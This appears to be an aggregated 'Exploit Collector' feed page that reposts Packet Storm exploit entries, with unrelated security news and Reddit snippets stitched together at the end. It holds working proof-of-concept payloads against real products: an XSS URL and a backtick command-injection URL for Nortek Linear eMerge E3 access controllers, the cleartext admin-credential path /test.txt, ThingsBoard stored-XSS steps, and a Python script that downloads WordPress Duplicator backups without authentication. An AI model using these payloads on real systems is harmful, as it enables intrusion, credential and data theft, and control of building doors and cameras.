Exploit Collector
Nortek Linear eMerge E3-Series Account Takeover

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Nortek Linear eMerge E3-Series version 0.32-07p suffers from a vulnerability where session fixation tied with cross site scripting can allow for account takeover.

SHA-256 | 6a30c71e741d3009dbaf81b18d14a4260f6043c44ce1ca7ff3fc8841c01a990e

Download
# Exploit Title: Nortek Linear eMerge E3-Series - Account Take Over
# Exploit Author: Omar Hashim
# Version: 0.32-07p
# Vendor home page: https://www.nortekcontrol.com/access-control/
# Vendor home page: https://linear-solutions.com/
# Authentication Required: No
# CVE: CVE-2022-31798

# Description
====================
There is local session fixation that chained with reflected cross-site
scripting leads to account take over of admin or less privileged users

# Proof Of Concept:
====================
http://<host:port/card_scan.php?No=1337&ReaderNo=1337&CardFormatNo=
src=x onerror=alert(document.location)>

Source:packetstormsecurity.com

Exploit Collector
Nortek Linear eMerge E3-Series Command Injection

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Nortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.

SHA-256 | 1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191

Download
# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection
# Exploit Author: Omar Hashim
# Version: 0.32-09c
# Vendor home page: https://www.nortekcontrol.com/access-control/
# Vendor home page: https://linear-solutions.com/
# Authentication Required: No
# CVE: CVE-2022-31499

# POC:
====================

http:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep
20`&CardFormatNo=1337

Source:packetstormsecurity.com

Exploit Collector
Thingsboard 3.3.1 Cross Site Scripting

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
Thingsboard version 3.3.1 suffers from multiple persistent cross site scripting vulnerabilities.

SHA-256 | ebc19fabae10baaf27a649ed72c78fdc00a6360b84c4b01f5754b78406a8b3c2

Download
# Exploit Title: ThingsBoard 3.3.1 - Stored Cross-Site Scripting (XSS) within the description of a rule node
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# Tested on: [relevant os]
# CVE : CVE-2021-42751
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the description of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the description e.g
3. Save the node
4. Upon hovering above the node within the editor the payload is executed# Exploit Title: ThingsBoard 3.3.1 - Stored Cross-Site Scripting (XSS) within the name of a rule node
----------
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# CVE : CVE-2021-42750
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the name of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the name e.g
3. Save the node
4. Upon hovering above the node within the editor the payload is executed

Source:packetstormsecurity.com

Exploit Collector
Nortek Linear eMerge E3-Series Credential Disclosure

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Nortek Linear eMerge E3-Series versions 0.32-07p, 0.32-07e, 0.32-07p, 0.32-08f, and 0.32-09c suffer from an administrative credential disclosure vulnerability.

SHA-256 | 307313c2ca8b81c83cd5647ca35cba3eab21050364f124ce96583e8dff6bcfd4

Download
# Exploit Title: Nortek Linear eMerge E3-Series - Information
Disclosure lead to access admin dashboard
# Exploit Author: Omar Hashim
# Version: 0.32-07p,0.32-07e,0.32-07p,0.32-08f,0.32-09c
# Vendor home page : https://www.nortekcontrol.com/access-control/
# Vendor home page : https://linear-solutions.com/
# Authentication Required: No
# CVE : CVE-2022-31269

# Description
====================
Admin credentials are stored in clear text at the endpoint /test.txt
(This occurs in situations where the default credentials admin:admin have been
changed.) Allows an unauthenticated attacker to obtain admini
credentials, access
the admin dashboard of Linear eMerge E3-Series devices, control entire building
doors, cameras, elevator, etc... and access information about employees who can
access the building and take control of the entire building
#Proof Of Concept:
====================

http://<host:port/test.txt

Source:packetstormsecurity.com

Exploit Collector
WordPress Duplicator 1.4.7.1 Backup Disclosure

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
WordPress Duplicator plugin version 1.4.7.1 suffers from a backup disclosure vulnerability.

SHA-256 | 8c02cb423eea46b383d67be17314d3d5a18adc9b995ddc621d23b0a2589b797a

Download
## Title: WordPress Plugin Duplicator 1.4.7.1 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.08.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1
## Description:
The WordPress Plugin Duplicator 1.4.7.1 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7 version.
The attacker can download all archive information from the system by
using this vulnerability!

Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL = "http://pwned_host.com/wordpress/wp-content/backups-dup-lite/"
archive=input("Give the name of the archive...\n")
response = requests.get(vulnerableURL)
time.sleep(5)
open(archive, "wb").write(response.content)
print("Right now, you just downloaded the secret archive =)\n")

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1)

## Proof and Exploit:
[href](https://streamable.com/ee11bg)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http:

Source:packetstormsecurity.com

The Grant Bounty

We are thrilled to introduce the Grant Bounty as part of our V2 initiative to invite all players of Web3 to get involved in security. The…Continue reading on Medium »
Read more...

How do intelligence services like Constella operate?
https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/

I was reading a cybersecurity blog and noticed the author often cited data from services like https://constellaintelligence.com/ or https://intel471.com/ in his analysis. They seemed really cool so I went to check them out, but there is just a "Request a Demo" button and a contact form, no pricing or anything. Does anyone here use services like those? Can anyone buy it or do you need to be some security professional working for a company? How much do you think they cost? submitted by /u/Aeoroglyph (https://www.reddit.com/user/Aeoroglyph)
[link] (https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/) [comments] (https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/)

___________________________
@hacking_Attack
@Hacking_Video

The Grant Bounty
https://hatsfinance.medium.com/the-grant-bounty-e04a3bc890c7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

We are thrilled to introduce the Grant Bounty as part of our V2 initiative to invite all players of Web3 to get involved in security. The…Continue reading on Medium » (https://hatsfinance.medium.com/the-grant-bounty-e04a3bc890c7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
10 Malicious Code Packages Slither into PyPI Registry

The discovery adds to the growing list of recent incidents where threat actors have used public code repositories to distribute malware in software supply chain attacks.

Dark Reading: Attacks/Breaches
Dark Reading News Desk: Live at Black Hat USA 2022

LIVE: Dark Reading News Desk at Black Hat USA 2022

Hacking on Medium
North Korean Hackers Use Phony Coinbase Job Offers to Target Cryptocurrency Professionals

https://cdn-images-1.medium.com/max/1200/1*hTQrZ6UL38vYyLQkFwh-6g.jpeg
The renowned North Korean hacking outfit Lazarus has uncovered a new social engineering scheme in which the hackers pose as Coinbase to…

Continue reading on Medium »